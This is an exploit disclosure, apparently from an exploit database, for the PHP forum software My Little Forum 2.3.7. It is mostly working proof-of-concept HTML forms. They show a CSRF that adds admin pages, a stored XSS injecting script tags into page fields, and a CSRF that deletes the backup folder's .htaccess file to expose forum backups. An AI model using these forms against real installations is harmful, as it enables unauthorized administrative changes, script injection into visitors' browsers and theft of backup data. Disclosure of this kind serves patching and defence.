My Little Forum 2.3.7 - Multiple Vulnerabilities

2016-11-02T00:00:00
ID 1337DAY-ID-26198
Type zdt
Reporter Ashiyane
Modified 2016-11-02T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Title:
======
My Little Forum  2.3.7 - Multiple Vulnerability
 
 
Product & Service Introduction:
===============================
My little forum is a simple PHP and MySQL based internet forum that 
displays the messages in classical threaded view (tree structure). It is 
Open Source licensed under the GNU General Public License. The main 
claim of this web forum is simplicity. Furthermore it should be easy to 
install and run on a standard server configuration with PHP and MySQL.
 
 
Software Link:
==============
https://github.com/ilosuna/mylittleforum/archive/master.zip
 
 
Vulnerability Type:
=========================
Cross-Site Request Forgery
Stored Cross-Site Scripting
CSRF Allow To Backup Disclosure
 
 
Vulnerability Details:
==============================
This WebApplication is vulnerable and suffer from some vulnerablity.
 
 
Severity Level:
===============
High
 
 
Proof of Concept (PoC):
=======================
1. CSRF (Add Page)
With this exploit can add page in webapp.
<form 
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page" 
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Title">
<input type="hidden" name="content" value="Content">
<input type="hidden" name="menu_linkname" value="Name">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>
 
 
2. Stored XSS:
<form 
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page" 
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Stored XSS 
<script>alert(1)</script>">
<input type="hidden" name="content" value="Stored XSS 
<script>alert(2)</script>">
<input type="hidden" name="menu_linkname" value="Stored XSS 
<script>alert(3)</script>">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>
 
3. Backup Disclosure:
with this exploit we can delect htaccess in backup folder for access to 
backups.
<form action="http://localhost/mylittleforum-master/index.php" 
method="post" accept-charset="utf-8">
<div>
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="delete_backup_files[]" value=".htaccess">
<input type="submit" name="delete_backup_files_confirm" value="OK - 
Delete">
</div>
</form>
Next use exploit go to:
http://localhost/mylittleforum-master/backup/

#  0day.today [2018-01-04]  #